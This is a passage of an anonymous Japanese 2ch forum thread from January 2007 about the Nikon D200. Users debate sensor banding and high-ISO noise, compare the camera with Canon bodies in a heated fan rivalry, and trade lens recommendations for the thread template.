687 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:31:19 ID:As2D7r7W0

>>NRかけちゃ意味ねーだろ。

どう意味が無いのでしょう
綺麗に仕上げようとするのはいけないことなのでしょうか

ヒョッとして、銀塩時代の素のままが絶対主義の方ですか？

F6をお買いになっては如何ですか

688 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:40:21 ID:RuqCUPNq0

は？

何、「主義」って。

おたくとは、４行を見ただけで絶対話が合わないと感じたので話す気はありません。

689 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:47:35 ID:5lkVPXgt0

人間の狭さが出てるぞ688

690 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:51:02 ID:UYcU0+F90

ダイナミックレンジが狭いんですな

691 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:54:21 ID:5lkVPXgt0

上手い(ﾍ｡ﾍ)、座布団一枚

692 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:57:44 ID:0tQp6+Hm0

ISO1600
JPG撮って出し。画像縮小したのみ。左下に縞々がｗｗｗ

ttp://up2.viploader.net/upphp/src/vlphp4458.jpg

693 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:02:23 ID:UYcU0+F90

撮って出しはアカン　本体内NRもアカンて
(ノ∀｀；)

694 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:09:24 ID:OC+31mWE0

>>693
5Dとかキャノンのカメラの妙ちくりんなＤＩＧＩＣ画質よりは全然いいよｗｗｗ

　コンデジ画質で線が太いキャノンｗｗｗ

695 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:10:44 ID:9d9/hg+n0

692>> この縞々はD200特有のものではないと思うが。
jpgのブロックノイズと高感度ノイズがたまたま合わさって、
さらに画素を間引きしたときに強調されたのでは？

696 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:16:03 ID:OC+31mWE0

　純正がシグマに負けているキャノンｗｗｗレンズ性能は業界最低ランクｗｗｗ

　　特に、キャノンユーザーにはマクロを語る資格さえないｗｗｗ　（シグマ持ってれば別だよんｗｗｗ）

697 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:18:20 ID:RuqCUPNq0

ノイズとか縞とかよ、ファームで対応できないのか？
こんだけ散々言われてんのに、何もしないメーカときたら・・・
お役所仕事しやがって。やれよ、ニコン。

それと、キャノン叩き、うるせーよ。

698 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:48:38 ID:OC+31mWE0

>>4
ニコンは国策会社をその起因としてるから自衛隊幹部の天下り社員さんもおられるようだし、
お役所っぽいイメージはあるねｗｗｗ

別にキャノン叩き専用じゃないんだがｗｗｗニコンの方が好きなのは仕様ですｗｗｗ

699 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:49:47 ID:OC+31mWE0

　キャノンにもどっかから天下ってきてるのかな？？ｗｗｗ

700 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 23:51:27 ID:LVr6BLRy0

>698
ほれ　つ　⑩

701 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 09:12:15 ID:G7XUfI2r0

高感度ほしい（連写追従望まない）なら
つＤ８０・Ｄ４０
Ｄ２００以外で
スポーツ系なら、Ｄ２Ｘｓ・Ｄ２Ｈｓ
スポーツフォトはノイズレスを要求するジャンルでもないと思うけど。
新境地開拓してみたいならがんがれ。

なおかつニコンに不満なら最高峰フルたる１Ｄｓためしたら？
５Ｄの動態ＡＦはスポーツ追いかけられんとおもう。

702 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 12:24:26 ID:SiOIox1W0

最高峰ねえ・・・

シャッターユニットが直ぐ逝かれるらしいじゃん。
操作性も最悪だし

703 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 12:50:17 ID:MCZy4eN50

>>697

おまえ下品だよ、もうチョット言葉遣い考えろよ
消えろ、いや蒸発しろ、ここにくんな

704 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 13:00:55 ID:0QryKkC80

>>697
ノイズも縞もファームである程度対応可能だろうが、それをやると
ものすごい塗り絵になってしまうから、メーカーも及び腰なのでは？
10MのCCDで4チャンネル読み出しやっている以上は、ノイズは避けて通れない罠。
これに懲りて、恐らくはD200の後継はCMOSを使うと思う。

705 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 13:05:25 ID:XFVGnzOf0

>>704
キャノンもCMOSで4chをかつて失敗してるの見てやっているからね

706 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 15:29:10 ID:QLvPhH8K0

http://dslcamera.ptzn.com/article/427/eos5d-noise-60302
http://www.dpreview.com/reviews/canoneos5d/page25.asp

707 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 16:16:17 ID:W4/F0/PA0

>>706
でもコレって、1600や3200でやっとこのレベルでしょ？
D200はISO100でもノイズだらけだし、縞模様出るよ？

708 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 16:56:15 ID:XFVGnzOf0

>D200はISO100でもノイズだらけだし、縞模様出るよ？

無知なアオリをするならISO100でその画像を出してみろ

709 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 16:56:34 ID:ubMgOaCG0

大嘘こくな。馬鹿。

710 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:00:09 ID:XFVGnzOf0

>>707
早く出せ、キャノネット

711 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:00:15 ID:XFVGnzOf0

>>707
早く出せ、キャノネット

712 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:04:06 ID:ZWlU3KHe0

故意に、その商品を貶める書き込みで、告発？
で、差し押さえ？

713 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:15:54 ID:pE/QguI00

でもD200は普通に撮っても縞縞が出るのはみんな知ってるからしょうがないね。
最新ロットでは出ません！とかいってるのはニコンの工作員だし末期的症状だね。

714 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:17:05 ID:g2Wb/1l60

上げてる奴は信用できないのは確かだ

715 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:21:40 ID:pE/QguI00

>>714のように人格否定して「縞はでない！」といえないところにニコンの苦しい面が出ているように思えるよね。

716 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:30:26 ID:W4/F0/PA0

つ　http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070114172836.jpg

717 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:41:43 ID:I00RvtRA0

>>707
おおよその傾向として、
- 輝度ノイズはニコンが多い
- 色ノイズはキヤノンが多い
と言える。

目的によってどちらが優れているかの評価は変わってくる。
AFやノイズに超うるさい○け氏が定量評価してるのは記憶に新しい。

718 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 17:42:14 ID:qsUjmpX10

なんか話聞いていると、縞が全てってかんじだなぁ
いっそのこと、ベタベタの絵画絵で、輪郭強調スーパーハイの
超高級デジいち作ればバカ売れかもよ、ISO3200でもノイズがない！
しかもかっちりとした絵で素晴らしい、とかなんとか話題になったりして。

719 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:01:17 ID:ZeZjcVXj0

>>718
貴殿の皮肉が通じる相手はいないよ～。

720 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:15:31 ID:qsUjmpX10

>>719

どう思っているか知らないけど
漏れはD200ユーザーだよ、ただ呆れているだけ

こう書くと、今度は証拠見せろとか画像上げろとか言ってくるんだろ？
もうニコ爺もキヤノネットも同じだよ、呆れてモノが言えん
お互い好きにすりゃいいじゃん。

漏れもキヤノンの高感度ノイズが少なくて、色乗りも一見良いのは認めてる
でもニコンが好きだから使ってる、ノイズもニコンの味の一種だと思ってるよ
キヤノンじゃないと撮れない画もあるし、逆にニコンじゃないと撮れない画もある
ニコ爺もキヤノネットもどうして相手を認める度量の広さがないのだ。

狭い..........狭いぞ

721 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:29:39 ID:X1HsufSX0

>>716
なんじゃこりゃ？
どうやったらこんな画像が作れるか教えて欲しいわ。

722 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:38:41 ID:ZWlU3KHe0

＞ID:qsUjmpX10
　↑
地雷だな。こういう奴って、一人はいるよな。周りに。
話題の中心に居ないと気がすまないというやつ。勝手に震度バット。

723 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:47:40 ID:rrOMrect0

調整すればいいのに、調整もしなかったアホが調整不可能なキヤノン相手に騒いでるって事でおｋ？

724 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:48:57 ID:UhCVG9UC0

キャノン機の暗部ノイズの酷さはニコンに惨敗してる事実は語らないキャノネッツｗｗｗ

725 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:49:11 ID:XFVGnzOf0

>>721
意図的だよ、きっと。
外付けフラッシュをつけてTTL-BL調光で撮ってるようだ。光量が足りなかったん
だろうが無理やり1/60秒でシャッター切っている。

通常、フラッシュなしでスローシャッター切ってもこんな絵は出ない。相当高度な工作員かそうでなければ
よっぽどの素人だろう

726 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:50:20 ID:UhCVG9UC0

　24-70/2.8Ｌの周辺部の歪曲がその辺の安レンズに惨敗してて24ｍｍなのに室内や風景がダメなのは秘匿するキャノネッツｗｗｗ

727 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:51:31 ID:UhCVG9UC0

　5Ｄの線の太さが酷いのを「銀塩画質」とゴマカスキャノネッツｗｗｗ

728 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:52:21 ID:qsUjmpX10

なんで地雷なんだよ
漏れが
>>718
でカキコして
>>719
に返事があったから
>>720
にまた返事しただけじゃんか

アフォか、どういう理屈やねん
字が違うぞ、NG＝震動バット、OK＝振動バット、じゃ
おまえが振動ばっとｼﾙ

729 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 18:57:48 ID:howu7ZdJ0

>728
　　　('A`)
　　　 (　 ) =3　ｽｶｰｯ

730 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 19:09:05 ID:X1HsufSX0

>>725
いや～、同じ条件で撮影してみたけど、
露出アンダーでNCで+2EV補正しても>>721の様には出来なかったんだよね。
レンズも34mmF4にしては、妙に片ボケが目立つし、なんか自分のと描写が違うし。

731 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 19:09:29 ID:pE/QguI00

まあ結論としてD200は縞と睫がでて、高感度は全然使えない絵がでてNRかけて超塗り絵なマシンってことはよくわかった。

732 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 19:10:50 ID:UhCVG9UC0

>>38

　それでも5Ｄよりは使える良いカメラｗｗｗ

　　

　　　人工芝とは違う、ってことかなｗｗｗ

733 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 19:11:26 ID:UhCVG9UC0

5Dの最大の欠点は、線が太く繊細な描写という点では入門機にさえ劣る点。

　　これで中級者向けという神経のズ太さを持つキャノンｗｗｗ

　ＰＲの力に全てを任せても、失う信用は帰ってこない、かなｗｗｗ

734 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 19:11:30 ID:6IcY/rUO0

ロングパス乙

735 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 19:12:27 ID:UhCVG9UC0

ありゃ・・・・・・・・・・・・・・ＳＱＬＳＱＬｗｗｗ

736 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 19:13:24 ID:UhCVG9UC0

　　　
　　　　キャノンは人工芝

　キャノネッツが認めてる描写の安っぽさ！！！ｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

737 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 20:17:40 ID:dLTIAGp6O

久しぶりに来てみたら…なんだこりゃ？
新手の荒らしか？

738 ：名無CCDさん＠画素いっぱい：2007/01/14(日) 22:25:19 ID:IHLt1oox0

キャノンという会社が嫌いなのとレンズ縛りでニコンユーザーだけど
上でも言ってる人がいるように、どっちもどっち。
といっても、キャノンのスレには行ったこと無く悪い噂だけ、一方ニコンやフジユーザーは直に醜態を観てるが。
完全に宗教だな。
こんな下品な人たちもｶｶｸｺﾑでは物腰の柔らかなﾆｺｼﾞｲになってたりするんだろうな。
こっちが本性だろうけど。

739 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 00:34:08 ID:x4zsmcmu0

そうゆう事をわざわざD200スレに書き込む君の品性って･･･

740 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 00:54:15 ID:d1zEmtcq0

なんか荒れ気味なので、ちょっと前の写真だけど一枚貼っておきます。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20070115005226.jpg

741 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 01:00:22 ID:NMCTUpdg0

鳥のアップってグロだよな

742 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 15:22:31 ID:BXl7xTXp0

30Dのほうがいいカメラですよねおまえら

743 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 17:30:29 ID:U7ApnRY+0

つスレタイ

744 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 18:18:48 ID:d1zEmtcq0

>>742
どっちが良いか、30Dスレのこの人に聞いてみたら？

479 名前：名無CCDさん＠画素いっぱい [egas] 投稿日： 2007/01/15(月) 15:20:47 ID:BXl7xTXp0
D200のほうがいいカメラですよねおまえら

745 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 20:57:57 ID:ftftThy90

ID:BXl7xTXp0

こういう奴って、２ちゃんねるが無くなったら、自殺しそうだな。

746 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 21:50:37 ID:hKBJ82280

２ｃｈ、なくならないよ。信じてるもん。

747 ：名無CCDさん＠画素いっぱい：2007/01/15(月) 21:58:06 ID:bSHHUFl70

ビラ配りしてたひと？ｗ

748 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:00:34 ID:s56aHkYz0

D200 買って貰ったばかりの時は、AWBが黄色っぽいﾅｱと思ってはいた。でもそれ以外では殆どが驚きにも似た気持ちで
感じられるｶﾒﾗだった。シルキーに慣れて、気が着いてみると、黄色っぽいと思っていたのも忘れていた。
有るのはA3に伸ばした綺麗なプリントだけだった。
今を思えば、アレは何だったのだろう？
本当によいカメラは、何も自覚無く好きに写真が撮れるカメラなのだと思う。
D200, EOS 30D, K10D 少なくともこの3台はそう言う優れたカメラ。
ケチを付けるのは使いこなしが足りないのではなかろうか？！

749 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:03:23 ID:D67DAgM80

>>748
んだね。今時この手のカメラに難癖つけてるやつはどうせろくに写真撮ってないんだべ。

750 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:04:47 ID:659A2dKt0

>>748-749
買ってもらえない高いカメラやレンズを使っている人を妬んで愚にもつかないちょっかいを出す卑しい荒らしに使いこなしも何もあるはずがないわけで。

751 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:12:50 ID:bukc4FBM0

自分は瞬間接着剤で止めちゃったから安心だけど
MSCの変更ダイヤルがなんかの拍子で動いてることが多いのは勘弁して欲しい

752 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:19:47 ID:ZDPKO5/40

量販店においてあったサンプル機のボディのゴムがベロリと剥がれてたんだけど、めったなことでは剥がれないですよね？？
ポチったあとに急に不安になってきた・・・

753 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:27:25 ID:1DCplDqE0

>>748
スゲー共感できるわ。最初ゾクッと来たよ、D200。
AWBなんて結局どの機種も完全じゃないしね。
>>752
少なくともウチのは気配も無いよ。
1年位使ってるけどね。

754 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:29:58 ID:a1gmYPov0

>>751
おいおい。

ってマジなら、どこに固定したの？
つうか、フォーカスモードのダイアルが何かの拍子で動いた事は無いなぁ・・・
フォーカスエリアなら良く勝手に動くけど。

755 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:30:23 ID:l+g/uUpi0

>>752
量販店に設置してある物は悪意有る人間が故意に壊していく物もあるから
眼にした物が全てだとは思わない方が吉。
自分のD200 は割と手荒に使用しているがそんなべろっとなったことすら無い。

某・淀に有った1Ds mk II のファインダアイピースの箇所をどう見てもど突いて壊した展示機が有った。
視度補正をいくら掛けてもピンすら合わない訳だ。　でもこれがこのカメラの本質ではないでしょう。
それと同じ。世の中には心賎しい人が沢山居るのです。とても悲しいことですね。

756 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:36:21 ID:LSJMJmQq0

でもD200は縞縞が出る固体をSCで調整してもらってから使う人が大半だから、最初から故障しているようなもんだけどねｗ

757 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:40:19 ID:bukc4FBM0

>>754
Sに固定しますた

よく考えたらポッチみたいなのを削るか折れば
引っ掛けて動くなんてことなかったんだよね
まぁいいやウヒヒ

758 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:48:44 ID:u2lUKo+y0

Ｄ２００の仕上がりだが機械的にはおおむね満足しています。
高感度の上がりを向上させるべくソフトを試行錯誤であがいてます。
高感度はＤ４０ウラヤマシス。
Ｄ２００ｓまで待てない。
高感度がすごいと噂のＳ５Ｐｒｏに色目つかっちゃうわ～。

759 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:48:54 ID:Pra3sL150

>>756
でも「仕様です、問題ありません」で片付けるC社より良いね

760 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:56:10 ID:LSJMJmQq0

>>759
C社のことなんて一言も言っていないのになんですぐにC者を出してくるのですか？
ここはニコンのカメラのスレで、C社は関係ありません。

D200には縞々が出るのは事実で、ニコン公式Q＆Aで問題ないって言ってるの知らないのですか？

761 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 00:56:54 ID:GQOLi8ij0

>>748
まったくそうだな。
そう思うよ。
ただ、俺のはAWBが青っぽい。
黄色っぽい方が好みなんだがｗ

762 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 01:11:21 ID:UyEujWVXO

>>760
に新しい風を感じた

だから何？、と。

763 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 01:25:22 ID:QUjd8TaP0

　 ,j;;;;;j,. ---一､｀　―--‐､_ l;;;;;;
　｛;;;;;;ゝ T辷iﾌ i 　　f'辷jァ　 !i;;;;;　　　操作フィーリングさえ良ければ縞や高感度ノイズなんか気にしない
　ヾ;;;ﾊ　　　　ﾉ　　　　　　　.::!lﾘ;;rﾞ　　　ニコンに高画質を求めるなんて長嶋一茂にホームランを期待するようなものだ
　　 `Z;i　　　〈.,_..,.　　　　　　ﾉ;;;;;;;;>　　
　　,;ぇﾊ、　､_,.ｰ-､_',. 　　,ｆﾞ: Y;;f.　　　そんなふうに考えていた時期が
　　 ~''戈ヽ　｀二´ 　　 r'´:::.　`! 　　　　俺にもありました

764 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 04:47:37 ID:UurSkHKd0

30Dの後継機を待つほうがいいですよおまえら

765 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 05:44:08 ID:f9c2QmO60

ん？またぞろゴキブリが沸いてるな。

766 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 08:46:22 ID:ZZd6EtvDO

>>764
氏ねや

767 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 11:28:03 ID:/ijk6Dm80

>>752
気にするな。

D200じゃないが俺のF4は購入後一ヶ月くらいでぺロリとなった。
これがフラッグシップかよっ！と怒りたくなったがサービスセンターまで行くのも
面倒だったので接着剤で貼り付けた。
以後10数年剥がれてない、さすがフラッグシップ。

768 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 11:34:10 ID:yK8OKZ0l0

キャノンに反応してるのはニコン社員なんだろうか？
自分なんかはどんどん欠点を指摘してニコンにプレッシャーをかけて改善して欲しいから、
欠点を挙げられるのは何とも思わないんだけど。
なんか、ニコンのカメラを腫れ物というか神のようというかそんな扱いしてるように感じる。
ｶﾒｦﾀは見た目だけじゃなくて中身もださい。

769 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 11:36:31 ID:Z+YP6oP+0

（ ´_ゝ｀）ﾌｰﾝ

770 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 11:47:02 ID:jqnNIxtE0

ニコンってのは硬派なブランドイメージあるからね。
そのメーカー使っている自分がカッコイイと思ってるんじゃないのかな。
時代遅れなのも硬派ぶるにはちょうどいい（笑）

771 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 12:49:47 ID:YeMwp/Mk0

レス違いかもだが５年ぐらい前夏暑い部屋に１月
放置していたF5の全身ベロっとズルムゲになった。
多少抵抗はしたがメーカーは完全張替えしてくれた。

772 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 13:09:51 ID:UurSkHKd0

30Dのほうが画質いいですよねおまえら

773 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 13:40:37 ID:LSJMJmQq0

>>771
ニコンのフラッグシップでもそんなにヤワなんだ・・・
やっぱりプロがニコンを選ばない理由ってあるんだね。キヤノン最高！

774 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 15:13:54 ID:D67DAgM80

今日はあたたかいせいかゴキブリが多いな。

775 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 15:44:29 ID:otfNPwqY0

つ鏡

776 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 15:58:02 ID:1o4xnbzw0

すっかり画像が出なくなったな
テーマ別スレに行ったか？

777 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 18:41:39 ID:ooYy7Nfc0

D200もさ、画質が悪い点を除けばいい亀裸なんだけどねぇ・・

778 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 19:08:29 ID:xQzTBmQtO

いや画質はいいと思うよ

779 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 19:26:56 ID:ooYy7Nfc0

そそ、30Dのほうが画質いいよねわかってるじゃん

780 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 19:29:16 ID:7NSBf/wU0

GKも中学生のバイト使うようになったかw

781 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 20:12:20 ID:y0dOC4uX0

なんか荒れてるな

誰か書いてたけど、好きにすればいいじゃんか
お互いに。

782 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 21:10:36 ID:f9c2QmO60

ニコンVSキャノンという構図がそもそも滑稽なんだけどね。
30Dなり5Dなり欲しけりゃ買うだけなんだから。
こういうキチガイをキャノネットと呼ぶのはキャノンとそのユーザーに
失礼なので、俺は一貫してゴキブリと呼ぶことにした。

783 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 21:13:53 ID:djiBrx3+0

テンプレに追加なんかないかな？
>>15 >>17-23

>>20
望遠ズーム
VR70-200：この焦点距離域で写りに拘るなら無理して買っても損はない。
80-200/2.8：値段のわりに良い写り､敢えてVR70-200を選ばず、こっちを購入するのもあり
200-400/4：鳥屋さん・飛行機屋さんの最終目標
シグ70-200DG:写りはVRに匹敵､VR不要なら行ける　最短撮影距離がいまいち
シグ70-200ﾏｸﾛ: 知らんけど、マクロ域は甘いとかいう。
シグ100-300/4：思いの外シャープ　お値段も手頃でAF-S300/4より安い
トキナー100-300/4：シグと互角。比較してホールディングとボケがいい。
VR80-400: 暗いのが難点その分価格は安いが
シグ50-150:写りは知らんけど明るさの割にコンパクトではある
トキナー50-135:知らん。
VR70-300：写りは知らんが手ぶれ補正は良く効く。

784 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 23:15:48 ID:UE3pPqLE0

　キャノンで満足出来る理想の低さが羨ましいよ～ｗｗｗいや、マジでｗｗｗ

　　　社畜メーカーの社員がいやいや作った製品だってミエミエじゃないかｗｗｗ

　組み立ててるのは今話題のワーキングプアな可哀相な人たちなんだよ？？ｗｗｗ

785 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 23:21:51 ID:2SqqMR2b0

慈悲喜捨の"捨"

【意味】するーでおながいするー

786 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 23:30:33 ID:sYjC6LDf0

＞７８３
ここまで、アバウトだと、テンプ失格

787 ：名無CCDさん＠画素いっぱい：2007/01/16(火) 23:41:00 ID:djiBrx3+0

>>786
何の情報も持ち寄らない役立たずに限って小生意気なことをいう。

788 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:06:15 ID:4og+xwfI0

それは、おまい、だろ？

789 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:12:05 ID:h4XBeHJg0

俺の主観で書いてやるよ！

望遠ズーム

VR70-200：銀塩では使えないけどDXならまあまあ
AF-S 80-200/2.8：でか過ぎ却下
AF 80-200/2.8：開放以外ならまあまあ
200-400/4：買えるかよあほ
シグ70-200DG:シグマのレンズなんて付けてたら笑われるよｗ
シグ70-200ﾏｸﾛ: シグマのレンズなんて付けてたら笑われるよｗ
シグ100-300/4：シグマのレンズなんて付けてたら笑われるよｗ
トキナー100-300/4：トキナーのレンズなんて付けてたら笑われるよｗ
VR80-400: こんな糞レンズ買うより70-200にテレコンつけたほうがマシ
シグ50-150:シグマのレンズなんて付けてたら笑われるよｗ
トキナー50-135:トキナーのレンズなんて付けてたら笑われるよｗ

790 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:19:09 ID:3kGVqwDh0

>>789
ろくに使い比べてもいないのでは話にならない。
もうちょっと勉強しなさい。

791 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:20:47 ID:h4XBeHJg0

>>790
何の情報も持ち寄らない役立たずに限って小生意気なことをいう。

792 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:22:13 ID:G4DTkbnH0

やっぱコシナか？ｗｗｗ

793 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:26:14 ID:3kGVqwDh0

>>791
グサッと効いたなら生活態度を改めれば良かろうに。

>>792
原則AEAF作動のレンズだから。

794 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:33:56 ID:G4DTkbnH0

でもレンズは好みとか、画質が良くても高くて重いのは不要とか、実用性が無いほど面白い
とか、古い方が階調性はいいような気がするとか、いろいろｊな意見がｗｗｗ

795 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:45:23 ID:3kGVqwDh0

>>794
そういう話はレンズスレじゃない？

796 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 00:52:25 ID:swNm0quG0

>古い方が階調性はいいような気がするとか

それは、素人目で見て、ヌケの悪いレンズに対して敢えて探して見つけた誉め言葉。
ただ、銀塩じだいなら、プリントしやすい画像は得られたから、まんざら悪いレンズじゃないよ。
若干の収差を残存させることに依って、陰部にも光がまわって、なだらかなグラデーションとなり
プリントしたときもとてもキレイに表現できるから。
最近の解像度は優秀なのだが、コントラストがきつすぎるレンズを絶対視している人には
こんなレンズはクソレンズと言われるのだろう。ただ、それは、丁寧な仕事で得られた
美麗なプリントすら見たこともない井の中の蛙がほざいているだけ。
やはり、プリント職人に仕上げて貰ったプロの画像をしっかと見据えて貰いたいね。

797 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 01:05:37 ID:G4DTkbnH0

>>795
そこはそれ、Ｄ200ウザーから見た、ってやつでｗｗｗ
ボディが違うとレンズの評価も変わるｗｗｗ

>>796
職人に仕上げて貰う世界は・・・見るだけなら楽しいけど作る方は・・・

　容易に想像できると想うが、クレーム処理に近い日々が・・・

798 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 01:15:35 ID:swNm0quG0

プロにプリントを仕上げて貰う場合、クレームを多く出す人はクライアントとしても初心者です。
プロには多くの経験があり、依頼する側も正しく自身の意図を伝える力量が有れば、そんなにクレーム処理
が多く発生するなんて滅多にないです。自分で依頼した場合、ダメ出しする回数が多かった場合
その殆どは自分自身が的確な依頼or指示をプロラボに出せていないことの方が圧倒的に多いです。
お客の方がエライ的発想で生きている人だと、こういう事実には気が着かない場合も多いでしょうね。

799 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 01:31:34 ID:G4DTkbnH0

ここしばらく銀塩プリントからは遠ざかってしまったからあまり語れないが・・・ｗｗｗ
ダメだしというか、プロでも煮詰まってしまうとダメっぽい＾＾

　

800 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 01:34:23 ID:swNm0quG0

そう言うことは人間がやることだからたまには有るとは思いますけどね。
それでも、プロラボでしのもど言っている自称プロ氏達の言葉を聞いていると
バカは氏ねとド突いてやりたくなるようなDQNが多くてむかつきますよ。
オマエが粘るから俺の依頼の上がりが遅れるのだと思うと、なおさらです。

801 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 02:17:51 ID:YUad3bXCO

＞799
気違いワラ太郎が出てきたからこのスレもまた廃墟か…orz

802 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 02:19:26 ID:Dyonbzm00

見えない誰かに話しかけてる既知外が居る。

803 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 02:41:57 ID:5KfdbmLh0

プロラボでのフィルムから印画紙への焼付けは覆い焼きも含めて
光の強度と焼付け時間を変える事しかできないんでしょ？
（スキャナで読み取ってデジタルプリントってのは別にして）

だったら三原色別々に色強度を選べて、コントラストも照度もいじくれる
デジタルカメラのRAW画像の加工の方が自由度が高くていいんじゃないのか？

どうよ？

804 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 02:52:47 ID:VaRYtph60

おまえら30D使ったことないだろ

805 ：名無CCDさん＠画素いっぱい：2007/01/17(水) 03:21:05 ID:h4XBeHJg0

　　　　　　　　　　　　　＿＿
　　　　　　　　　　　　 /:::::::::::ヽ
　　　　　　　　　　　　|;;;;ハ;;;;;;;;;;|　　　　 , r－､
　　　,r‐-､　　　　　　ﾄｲ ^ o^ t;|　　　 /　　　｀､
　 /　　､　＼　　　　　>‐-ｭr'ニヽ､　　/　　i　　　l､
　 |　　　'|　　＼　_.ｒ'´ノニｰイﾆヽ,＼/　　 |　　　ｌ
